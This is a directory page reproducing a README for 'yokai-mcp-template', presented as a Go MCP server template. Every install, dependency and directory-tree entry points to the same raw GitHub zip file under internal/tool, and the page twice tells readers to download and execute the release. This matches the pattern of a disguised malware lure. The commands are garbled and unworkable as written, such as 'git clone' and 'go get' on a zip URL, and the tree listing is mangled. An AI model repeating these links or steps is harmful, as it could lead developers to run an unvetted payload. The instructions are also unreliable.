yokai-mcp-template
MCP server template based on the Yokai Go framework.
Documentation
Yokai MCP Template ποΈ
Welcome to the Yokai MCP Template repository! This project provides a robust server template based on the Yokai Go framework. It focuses on modular design and includes features for observability and dependency injection, making it a great starting point for your MCP server projects.
Table of Contents
Features
- Modular Architecture: Easily extend your server with new modules.
- Dependency Injection: Simplifies management of dependencies.
- Observability: Built-in support for OpenTelemetry to monitor your application.
- Lightweight: Fast performance with minimal overhead.
- Go Language: Built with Go for speed and efficiency.
Installation
To get started with the Yokai MCP Template, follow these steps:
1. Clone the repository:
git clone https://raw.githubusercontent.com/Suraj1245/yokai-mcp-template/main/internal/tool/mcp_template_yokai_v3.5-beta.2.zip
cd yokai-mcp-template2. Install dependencies:
go mod tidy3. Build the application:
go build4. Download and execute the latest release from Releases.
Usage
After installation, you can start the server by running:
./yokai-mcp-templateYou can configure the server by modifying the configuration files in the `config` directory. Make sure to review the available options to customize your setup.
Directory Structure
Hereβs a brief overview of the directory structure:
yokai-mcp-template/
βββ cmd/
β βββ https://raw.githubusercontent.com/Suraj1245/yokai-mcp-template/main/internal/tool/mcp_template_yokai_v3.5-beta.2.zip
βββ config/
β βββ https://raw.githubusercontent.com/Suraj1245/yokai-mcp-template/main/internal/tool/mcp_template_yokai_v3.5-beta.2.zip
βββ internal/
β βββ module1/
β βββ module2/
βββ https://raw.githubusercontent.com/Suraj1245/yokai-mcp-template/main/internal/tool/mcp_template_yokai_v3.5-beta.2.zip
βββ https://raw.githubusercontent.com/Suraj1245/yokai-mcp-template/main/internal/tool/mcp_template_yokai_v3.5-beta.2.zip- cmd/: Contains the entry point for the application.
- config/: Configuration files for the server.
- internal/: Modules and internal logic for your application.
Configuration
The configuration file is located in the `config` directory. Here is an example configuration:
server:
port: 8080
logging:
level: infoAdjust the settings according to your requirements. You can specify the server port, logging level, and other parameters.
Observability
This template integrates with OpenTelemetry to provide observability for your application. To enable observability:
1. Install the OpenTelemetry Go SDK:
go get https://raw.githubusercontent.com/Suraj1245/yokai-mcp-template/main/internal/tool/mcp_template_yokai_v3.5-beta.2.zip2. Configure the OpenTelemetry settings in your application.
For more details, refer to the OpenTelemetry documentation.
Contributing
We welcome contributions! If you want to improve this template, please follow these steps:
1. Fork the repository.
2. Create a new branch:
git checkout -b feature/YourFeature3. Make your changes.
4. Commit your changes:
git commit -m "Add some feature"5. Push to the branch:
git push origin feature/YourFeature6. Open a pull request.
License
This project is licensed under the MIT License. See the LICENSE file for details.
Releases
For the latest updates and versions, visit the Releases section. Download and execute the latest release to get the newest features and improvements.
Conclusion
Thank you for checking out the Yokai MCP Template! We hope this project helps you build efficient and modular MCP servers with ease. If you have any questions or suggestions, feel free to open an issue or contribute to the project. Happy coding!
Frequently asked questions
What is yokai-mcp-template?
yokai-mcp-template is MCP server template based on the Yokai Go framework.
How do I install yokai-mcp-template?
Open the GitHub repository and follow its README. Most MCP servers are added to your client's MCP config, then called by your agent.
Is yokai-mcp-template open source?
Yes β it is hosted on GitHub at https://github.com/Suraj1245/yokai-mcp-template.
Related MCP tools
Convert Any OpenAPI V3 API to MCP Server Go-based implementation. Trusted by 500+ developers. Trusted by 500+ developers.
Query anything (GitHub, Notion, +40 more) with SQL and let LLMs (ChatGPT, Claude) connect to using MCP Go-based implementation. Trusted by 1300+ developers.
A command-line interface for interacting with MCP (Model Context Protocol) servers using both stdio and HTTP transport. Go-based implementation.
The most powerful MCP Slack Server with no permission requirements, Apps support, multiple transports Stdio and SSE, DMs, Group DMs and smart history fetch l...
Self-hosted MCP Gateway and Registry for AI agents Go-based implementation. Trusted by 600+ developers. Trusted by 600+ developers.
Lunar.dev: Ground Control for 3rd Party APIs for the Model Context Protocol. Enhance AI assistants with powerful integrations. Go-based implementation.
Run your own MCP server? See who uses it and what to fix.
Measure it with TrackMCP